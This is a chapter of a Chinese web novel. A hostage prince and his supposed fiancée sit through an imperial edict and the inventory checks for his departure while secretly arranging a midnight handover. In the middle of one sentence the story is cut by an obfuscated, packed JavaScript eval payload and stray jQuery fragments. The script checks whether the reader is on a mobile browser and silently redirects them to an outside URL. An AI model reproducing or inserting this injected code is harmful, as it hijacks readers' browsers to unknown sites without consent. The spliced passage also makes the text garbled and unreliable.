圣旨是在午后送达质子府的。


    来得很快，快得几乎有些不合常理。鸿胪寺来了两位官员，一位主事，一位录事，带着宫中特有的谨慎周到。前厅摆上香案，萧执换了一身相对正式的浅青色长袍，面容平静地跪听宣旨。


    慕容昭作为“未婚妻”，站在一旁稍后的位置。她穿着素净的月白衣裙，脸上带着恰到好处的平静，和一丝符合外人想象的、即将与“未婚夫”分别的淡淡怅惘。


    宣旨的声音在前厅回荡，全是“孝道”、“仁德”、“柔远睦邻”之类的套话。萧执垂首听着，脊背挺直。慕容昭的目光落在香案上袅袅升起的青烟上，仿佛在出神。


    旨意念完，萧执叩首领旨谢恩，声音平稳：“臣萧执，叩谢陛下天恩。陛下仁德，体恤下情，臣感激涕零，归国后定当恪守臣节，永念陛下隆恩。”


    两位官员说了几句“殿下孝心可嘉”的客套话，紧接着便进入繁琐的实务环节。他们要核对质子离京需携带的物品清单，办理文书印信交割，确认沿途关防文书。


    清单很长，从御赐器物、书籍字画、府中陈设，到沿途仪仗车马、护卫粮草，一一列明。仆役们开始进进出出，将打包好的箱笼抬到前院查验。府内显得忙乱，但这忙乱只是表面。


    萧执陪着官员核验清单，不时回答。慕容昭安静退到厅侧坐下，仿佛只是来尽“送别”的本分。


    官员极认真，每样物品都要与清单对照。时间一点点过去，日头西斜。


    就在核对一批书籍字画时，萧执微微蹙眉，看了清单片刻，抬头道：“王大人，清单上‘前朝古砚一方’似未在此箱中。那砚台乃师长所赠，是在下心爱之物，许是遗漏书房了。可否容在下稍离片刻取来？”


    王主事看了看清单和空箱，点头：“殿下请便，还请快些。”


    “多谢。”萧执微微颔首，转身朝书房走去。


    慕容昭在他离开片刻后，也起身对景竹低语：“我去更衣。”随即离开前厅。


    通往书房的回廊安静曲折，与前面喧闹隔绝。午后的阳光斜照，投下长长影子。一处转角光线被屋檐遮挡，形成一小片昏暗。


    萧执的身影出现在转角一头。


    几乎是同时，慕容昭从另一头出现。


    两人脚步未停，仿佛偶然相遇。交错刹那，萧执嘴唇几不可察地动了动，语速极快，声音压得极低：


    “子时三刻，西院书房暗室。”


    慕容昭目光平视前方，没有任何停顿，只从唇间吐出两字：


    “东西备齐。”


    没有多余字眼，没有眼神交流。话音落时，两人已交错而过，各自继续前行。


    远处传来前厅王主事提高的询问嗓音。


    萧执脚下未停，径直走向书房。


    慕容昭转向另一条路，朝厢房走去。


    转角重归寂静。


    萧执很快从书房返回，手中多了一方古朴旧砚。他向王主事致歉，将砚放入箱中。核对继续。


    慕容昭稍后回到前厅坐下。


    当日头又偏西些，清单终于核对完毕。两位官员带着文书关防告辞离开。


    府门


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084336|195362||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    关上，隔绝外界。仆役们将箱笼装车，为明日启程做最后准备。各种声响在暮色初临的院子里回荡。


    萧执站在前厅门口看着。慕容昭走到他侧后方，也静静看着。夕阳余晖将两人影子拉长。


    仆役们收拾妥当，院子渐静。萧执转身，看向慕容昭。暮色中他的脸有些模糊，声音平静：


    “都安排好了。”


    慕容昭点了点头，目光扫过已准备就绪的车马箱笼。“明日何时动身？”


    “辰时三刻，鸿胪寺会有人来。”萧执答道，语气平淡得像在说明日的天气。


    “知道了。”慕容昭收回目光，看向他，“今夜……”她顿了下，没有说完。


    “今夜，”萧执接过话，声音低了些，在渐浓的暮色里听不出情绪，“还有些未尽之事。”


    慕容昭“嗯”了一声，不再多言。


    两人之间沉默下来。只有晚风穿过庭院，吹动落叶的细微声响。


    片刻，萧执道：“我去看看还有无疏漏。”


    “好。”


    他转身，朝府内走去，背影很快融入暮色。


    慕容昭独自在原地又站了片刻。风灯被点燃，在晚风里摇晃出昏黄光晕。远处街市喧闹声隐隐传来，更显得府内寂静空旷。


    公开的、合乎情理的一切流程都已走完。


    剩下的，便是今夜子时三刻，西院书房暗室，那场不能被任何人知晓的交割。


    她抬起头，望向墨蓝天幕上初现的寒星，片刻后收回目光，转身朝西院走去。


    夜还很长。